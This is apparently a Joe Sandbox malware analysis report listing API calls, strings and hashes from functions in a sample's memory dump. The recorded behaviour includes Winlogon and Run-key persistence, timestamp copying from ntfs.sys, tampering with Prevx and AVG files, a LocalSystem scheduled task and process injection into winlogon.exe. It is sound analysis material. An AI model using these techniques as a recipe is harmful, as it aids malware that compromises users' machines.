Function 00402560 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228
commemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040257F
GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004025AD
SysAllocString.OLEAUT32(?), ref: 004025C0
SysAllocString.OLEAUT32(Windows Explorer), ref: 004025D2
CoCreateInstance.OLE32(00404E10,00000000,00004401,00404E20,?), ref: 004025FB
CoCreateInstance.OLE32(00404E30,00000000,00004401,00404E40,?), ref: 004026AF
SysFreeString.OLEAUT32(00402C95), ref: 0040273D
SysFreeString.OLEAUT32(00000000), ref: 00402744
CoUninitialize.COMBASE ref: 0040279E

Strings

Windows Explorer, xrefs: 004025CD

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
String ID: Windows Explorer
API String ID: 1140695583-228612681
Opcode ID: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
Instruction ID: b0f249d7cb80b728101da8bc3454e37707d64e119a9c5dc6a768cd6d24ad7165
Opcode Fuzzy Hash: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
Instruction Fuzzy Hash: ED712D74A00606AFCB10DB99CD84DAFB7B9AF88704B2441A6E504FB3D4D7B5ED42CB94

Function 00402240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004022D6
WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 004022F6
GetSystemTimeAsFileTime.KERNEL32(?), ref: 004022FC
WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040231A
CloseHandle.KERNEL32(00000000), ref: 0040231D

Strings

\\.\pipe\acsipc_server, xrefs: 00402265

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: File$TimeWrite$CloseCreateHandleSystem
String ID: \\.\pipe\acsipc_server
API String ID: 3225117150-898603304
Opcode ID: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
Instruction ID: c460779fd0431372b53d2531d074c5320f53f755a2dac54515a3a2487e8d4eb8
Opcode Fuzzy Hash: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
Instruction Fuzzy Hash: DA31F4B1C0121CAFDB10DFD5D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95

Function 00402950 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 223
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(00401C30,?,0000001C,00000000,00000000,76D6DB30), ref: 0040298B
GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 004029A3
PathFileExistsA.KERNELBASE(?), ref: 004029C4
GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 004029DC
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402A1D
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402A2D
GetCurrentProcess.KERNEL32(?), ref: 00402A3E
GetTickCount.KERNEL32 ref: 00402A76

Part of subcall function 004012A0: GetTickCount.KERNEL32 ref: 004012AB
Part of subcall function 004012A0: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A82,00000000), ref: 004012BC
Part of subcall function 004012A0: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004012CC

Part of subcall function 00401330: GetTickCount.KERNEL32 ref: 0040135A
Part of subcall function 00401330: GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A8E,-00000006,00000000), ref: 00401367
Part of subcall function 00401330: GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401373

_snprintf.MSVCRT ref: 00402AF0
CopyFileA.KERNEL32(?,?,00000001), ref: 00402B08
RtlImageNtHeader.NTDLL(00000000), ref: 00402B3A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402B65
HeapValidate.KERNEL32(00000000), ref: 00402B68
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402B74
RtlFreeHeap.NTDLL(00000000), ref: 00402B77
MoveFileExA.KERNEL32(?,?,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00402B96
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402BA5
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00402BB5
GetCurrentProcess.KERNEL32(?), ref: 00402BC6
GlobalFindAtomA.KERNEL32(Fri Jun 17 05:52:09 20111), ref: 00402BE4
ExitProcess.KERNEL32 ref: 00402BF5
GlobalAddAtomA.KERNEL32(Fri Jun 17 05:52:09 20111), ref: 00402C00

Strings

%s_, xrefs: 00402ADE
IsWow64Process, xrefs: 00402A27, 00402BAF
Fri Jun 17 05:52:09 20111, xrefs: 00402BDF, 00402BFB
svchost.exe, xrefs: 00402A5A
kernel32.dll, xrefs: 00402A11, 00402B9C
.dat, xrefs: 00402AC8
\apppatch\, xrefs: 004029EF

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: ModuleProcess$AddressFileHandleHeapProc$CountTick$AtomCurrentGlobal$CopyDirectoryExistsExitFindFreeHeaderImageMoveNamePathQuerySystemValidateVirtualWindows_snprintf
String ID: %s_$.dat$Fri Jun 17 05:52:09 20111$IsWow64Process$\apppatch\$kernel32.dll$svchost.exe
API String ID: 4049655197-4201755136
Opcode ID: 76f81366a4f8225247b8614753da15890ae233e837e64cdd9c16a62ed84d21ea
Instruction ID: 2b42465635bf5f89377a844675b664ed4d82d183fb77d3ed61f84ac94699b08c
Opcode Fuzzy Hash: 76f81366a4f8225247b8614753da15890ae233e837e64cdd9c16a62ed84d21ea
Instruction Fuzzy Hash: A5718FB15143419BC310EF70DE8896B7BE9BBC8300B54493EF686B72A1D778D944CB99

Function 00402420 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040243C
CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004024A0
SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004024C3
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024D8
SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 004024E4
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024F3
SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 004024FF
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040250E
SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040251A
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402529
SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402535
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402544
CloseHandle.KERNEL32(00000000), ref: 00402547

Strings

\PrevxCSI\csidb.csi, xrefs: 0040245A

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: File$PointerWrite$CloseCreateFolderHandlePath
String ID: \PrevxCSI\csidb.csi
API String ID: 606440919-2829233815
Opcode ID: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
Instruction ID: da06213ca23f861e298ab990455e1520987101534f77d1697d18ba9606f76a1b
Opcode Fuzzy Hash: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
Instruction Fuzzy Hash: 03314871684218BEF311EB90DC96FEA7768EF89B00F104165F304AA1D0DBF16A45CBA9

Function 00402810 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 106
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,00000000), ref: 0040284B
GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 00402866
PathAddBackslashA.SHLWAPI(?), ref: 00402873
GetVolumeInformationA.KERNELBASE(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 00402890
_snprintf.MSVCRT ref: 004028AB
RegCreateKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000000,00000000,00000102,00000000,00000000,00000000), ref: 004028FA
RegSetValueExA.KERNELBASE(00000000,userinit,00000000,00000001,?,?), ref: 0040291E
RegFlushKey.ADVAPI32(00000000), ref: 0040292D
RegCloseKey.ADVAPI32(00000000), ref: 00402937

Strings

software\microsoft\windows nt\currentversion\winlogon, xrefs: 00402833
SystemDrive, xrefs: 00402861
software\microsoft\windows\currentversion\run, xrefs: 004028F0
userinit, xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Create$BackslashCloseEnvironmentFlushInformationPathValueVariableVolume_snprintf
String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
API String ID: 3547530944-2324515132
Opcode ID: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
Instruction ID: 580de61d93956de76c260b8cd85b43503f34d02da1fa31da69fbe3ce3aace33d
Opcode Fuzzy Hash: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
Instruction Fuzzy Hash: 0F3166B5740305BBE720DB909D4AFEA777CDB95B00F208155FB44BA1D0D6F4AA448BA8

Function 004013C0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004013D8
memset.MSVCRT ref: 004013FE
lstrcpynA.KERNEL32(?,00402BDF,00000104,?,?,?,00000000,00000000,00000000), ref: 00401416
CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 00401439
GetHandleInformation.KERNEL32(?,00402BDF,?,?,?,00000000,00000000,00000000), ref: 0040145A
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 00401467
GetHandleInformation.KERNEL32(?,00402BDF,?,?,?,00000000,00000000,00000000), ref: 0040147E
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 0040148B

Strings

D, xrefs: 00401432

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Handle$CloseInformationmemset$CreateProcesslstrcpyn
String ID: D
API String ID: 2248944234-2746444292
Opcode ID: c48a064c7529e876acfcd4e90bb1c684e8bfef1ce1d99d06041c7af5d8c72a1f
Instruction ID: 09676c1f46593a06cd44afd8140421a4ba04e6465ccbd83babddadcd264a60ad
Opcode Fuzzy Hash: c48a064c7529e876acfcd4e90bb1c684e8bfef1ce1d99d06041c7af5d8c72a1f
Instruction Fuzzy Hash: 862165B1A002196FDB10DFE4DD85AEF7BBCAB44354F00817AFA08F6291D6349A448BB5

Function 00401B60 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\?\globalroot\systemroot\system32\drivers\ntfs.sys,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401B85
GetFileTime.KERNEL32(00000000,?,?,00402B87,?,?,?,?,?,00402B87,?,?,?), ref: 00401B9F
GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401BB5
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402B87,?), ref: 00401BC6
CreateFileA.KERNELBASE(00000000,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,00402B87,?), ref: 00401BE2
SetFileTime.KERNELBASE(00000000,?,?,00402B87,?,?,?,?,?,00402B87,?), ref: 00401BF8
GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401C0E
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402B87,?), ref: 00401C1F

Strings

\\?\globalroot\systemroot\system32\drivers\ntfs.sys, xrefs: 00401B80

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: FileHandle$CloseCreateInformationTime
String ID: \\?\globalroot\systemroot\system32\drivers\ntfs.sys
API String ID: 1046229350-2760794270
Opcode ID: a3513c22781d9b883142d906c5a388a7ca545872d8ccd4c85f932c2de55d5d3d
Instruction ID: 5c288fe5b10a83830543158496eb663db1d1ba801f64cc380cadfe311b19cddd
Opcode Fuzzy Hash: a3513c22781d9b883142d906c5a388a7ca545872d8ccd4c85f932c2de55d5d3d
Instruction Fuzzy Hash: 3721D7725402187BE7219B90DD09FEFBB7CAF84710F108225FF11761D0E774964586A8

Function 004011C0 Relevance: 13.6, APIs: 9, Instructions: 66
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(00401C30,?,0000001C), ref: 004011EF
GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00401205
PathFileExistsA.KERNELBASE(?), ref: 00401212
GetTempPathA.KERNEL32(00000104,?,00000000), ref: 00401229
GetTempFileNameA.KERNELBASE(?,00000000,00000000,?), ref: 00401241
MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0040125D
SetFileAttributesA.KERNELBASE(?,00000000), ref: 0040126C
DeleteFileA.KERNELBASE(?), ref: 00401279
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0040128D

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: File$MoveNamePathTemp$AttributesDeleteExistsModuleQueryVirtual
String ID:
API String ID: 2787354276-0
Opcode ID: 13bd0b2ba2dd39b79c74d8f201215cd59729224600901bedf3da6c7ccc4d33b0
Instruction ID: 6fb89bbc187d80a5bc5b9bf27070627c8da11026cf83192134f00bca91ba5049
Opcode Fuzzy Hash: 13bd0b2ba2dd39b79c74d8f201215cd59729224600901bedf3da6c7ccc4d33b0
Instruction Fuzzy Hash: 7C21FCB1900219AFDB50DBA0DD49FEA77BCAB48700F4045A9E705F6190E7B49A54CFA4

Function 00401000 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,00000000,?,?,00402B5B,00000000), ref: 0040102A
WriteFile.KERNELBASE(00000000,[+@,?,00000000,00000000,?,?,00402B5B,00000000), ref: 00401045
SetEndOfFile.KERNELBASE(00000000,?,?,00402B5B,00000000), ref: 00401050
GetHandleInformation.KERNEL32(00000000,00000000), ref: 0040106F
CloseHandle.KERNELBASE(00000000), ref: 00401080

Strings

[+@, xrefs: 00401037, 00401040

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: File$Handle$CloseCreateInformationWrite
String ID: [+@
API String ID: 1150544999-2667881658
Opcode ID: 21b66d7867ddfbefa27aaeae67b762b005cc489ba47700022ac87a39cc13ab03
Instruction ID: c834b12cbe40c0e9b10b40bca9c4cb852a2dca9cf30c5b09766062945076e325
Opcode Fuzzy Hash: 21b66d7867ddfbefa27aaeae67b762b005cc489ba47700022ac87a39cc13ab03
Instruction Fuzzy Hash: 0311E971600244B7E7205B65DD08FAB765DDBC1790F048236FF84F62E0D7758D8082B8

Function 00402330 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402348
MoveFileA.KERNEL32(?,?), ref: 0040240F

Strings

\AVG\AVG9\dfmcfg.dat, xrefs: 004023CC
\AVG\AVG9\dfncfg.dat, xrefs: 00402388

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: FileFolderMovePath
String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
API String ID: 1404575960-1083204512
Opcode ID: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
Instruction ID: 218ec206f196096905059f0fa712dce574fe6e09d85f3a618a89c2f21692c038
Opcode Fuzzy Hash: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
Instruction Fuzzy Hash: 43214FB45043448FC759CF14EA98B92BBF4BF98300F1581FADA89A73A2D774D944CB98

Function 0040207A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000), ref: 0040208C

Strings

V,@, xrefs: 00402092

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: V,@
API String ID: 3664257935-3634209070
Opcode ID: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
Instruction ID: d15e959a12f23ccec2fe85088e2afbb8a6d817ea7d7d5b015e5417604cfff27a
Opcode Fuzzy Hash: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
Instruction Fuzzy Hash: 12D05E76E027298BCB20CF94A5052AEF730FB44731F0043AADE257338083351C118AD4

Non-executed Functions

Function 00403440 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 368memoryfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040348E
memset.MSVCRT ref: 004034AE
memset.MSVCRT ref: 004034CE
IsUserAnAdmin.SHELL32 ref: 004034D6
GetVersionExA.KERNEL32 ref: 004034F1

Part of subcall function 004033A0: GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004033C7
Part of subcall function 004033A0: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 004033E9
Part of subcall function 004033A0: OpenProcessToken.ADVAPI32(00000000), ref: 004033F0
Part of subcall function 004033A0: GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403411
Part of subcall function 004033A0: CloseHandle.KERNEL32(00000000), ref: 00403427

GetTickCount.KERNEL32 ref: 00403535
_snwprintf.MSVCRT ref: 0040354E
GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035AB
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035F7
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035FE
memset.MSVCRT ref: 00403616
_snwprintf.MSVCRT ref: 00403630
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403653
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040366A
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040367E

Strings

<Actions , xrefs: 004036EA
\\?\globalroot\systemroot\system32\tasks\, xrefs: 00403477
00-->, xrefs: 0040371F
task%d, xrefs: 0040353C
<Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> , xrefs: 00403454
p=Dv, xrefs: 0040382B

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Filememset$Process$HeapTokenVersion_snwprintf$AdminAllocCloseCountCreateCurrentHandleInformationModuleNameOpenPointerSizeTickUser
String ID: <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> $00-->$<Actions $\\?\globalroot\systemroot\system32\tasks\$p=Dv$task%d
API String ID: 1601901853-2684908384
Opcode ID: d0b0790f7991d78f00ea7e7fde430ce6b596ebd0b63758b6d90d9f24c7b2decc
Instruction ID: fd62d51515435fe7aa577a9a46339635c431e4e957a39cb3738b378977d63dce
Opcode Fuzzy Hash: d0b0790f7991d78f00ea7e7fde430ce6b596ebd0b63758b6d90d9f24c7b2decc
Instruction Fuzzy Hash: C5D1E0B2504301ABC720EF64CC48B5B7BA8EFC8751F048669FA45A72D1E774EA04CB99

Function 004017F0 Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 234memoryprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040181B
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,75C25430,00000000,?), ref: 00401833
GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040185D
HeapAlloc.KERNEL32(00000000), ref: 00401860
memset.MSVCRT ref: 00401873
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401898
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 004018AC
GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004018CA
HeapAlloc.KERNEL32(00000000), ref: 004018CD
memset.MSVCRT ref: 004018DD
MultiByteToWideChar.KERNEL32(00000000,00000000,00401E65,000000FF,00000000,00000000), ref: 004018FF
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401913
GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401933
HeapAlloc.KERNEL32(00000000), ref: 0040193A
memset.MSVCRT ref: 0040194A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401967
CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040199B
GetProcessHeap.KERNEL32(00000000,?), ref: 004019AD
HeapValidate.KERNEL32(00000000), ref: 004019B6
GetProcessHeap.KERNEL32(00000000,?), ref: 004019C2
HeapFree.KERNEL32(00000000), ref: 004019C5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019D2
HeapValidate.KERNEL32(00000000), ref: 004019D5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019DE
HeapFree.KERNEL32(00000000), ref: 004019E1
GetProcessHeap.KERNEL32(00000000,00401E65), ref: 004019F1
HeapValidate.KERNEL32(00000000), ref: 004019F4
GetProcessHeap.KERNEL32(00000000,00401E65), ref: 00401A01
HeapFree.KERNEL32(00000000), ref: 00401A04

Strings

D, xrefs: 00401994

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Heap$Process$ByteCharMultiWide$memset$AllocFreeValidate$CreateLogonWith
String ID: D
API String ID: 3422789474-2746444292
Opcode ID: 305985fe563536e86098805144d0a2e1e56e9e587e80ceb7f6eacc4e8f8e770f
Instruction ID: 7aa473d0462345c53030a0d843d553fe9ec79da9d6527bb3e9654a4a16b7ec1b
Opcode Fuzzy Hash: 305985fe563536e86098805144d0a2e1e56e9e587e80ceb7f6eacc4e8f8e770f
Instruction Fuzzy Hash: 4A6195B1A01215BBDB209FA58C45FAF7B6CEF84751F15422AFE14B72D0CA749D00CAA8

Function 00401580 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401C70: memset.MSVCRT ref: 00401C96
Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
Part of subcall function 00401C70: GetLastError.KERNEL32 ref: 00401CB0
Part of subcall function 00401C70: SwitchToThread.KERNEL32 ref: 00401CBF
Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
Part of subcall function 00401C70: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
Part of subcall function 00401C70: CloseHandle.KERNEL32(00000000), ref: 00401CF9

Sleep.KERNEL32(00000064,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015AD
OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015CC
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004015EB
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401601
GetCurrentProcess.KERNEL32(00000000), ref: 0040160D
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401628
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401638
VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 0040167F
WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 004016A1
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 004016CD
memcpy.MSVCRT(00000000,?,?), ref: 004016E8
WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 00401703
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00401711
WriteProcessMemory.KERNEL32(00000000,?,00406400,00050200,?), ref: 00401744
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401754
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401766
GetHandleInformation.KERNEL32(00000000), ref: 0040177E
CloseHandle.KERNEL32(00000000), ref: 0040178F
RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004017B0
GetHandleInformation.KERNEL32(00000000), ref: 004017CC
CloseHandle.KERNEL32(00000000), ref: 004017DD

Strings

IsWow64Process, xrefs: 004015FB, 00401632
kernel32.dll, xrefs: 004015DF, 0040161C

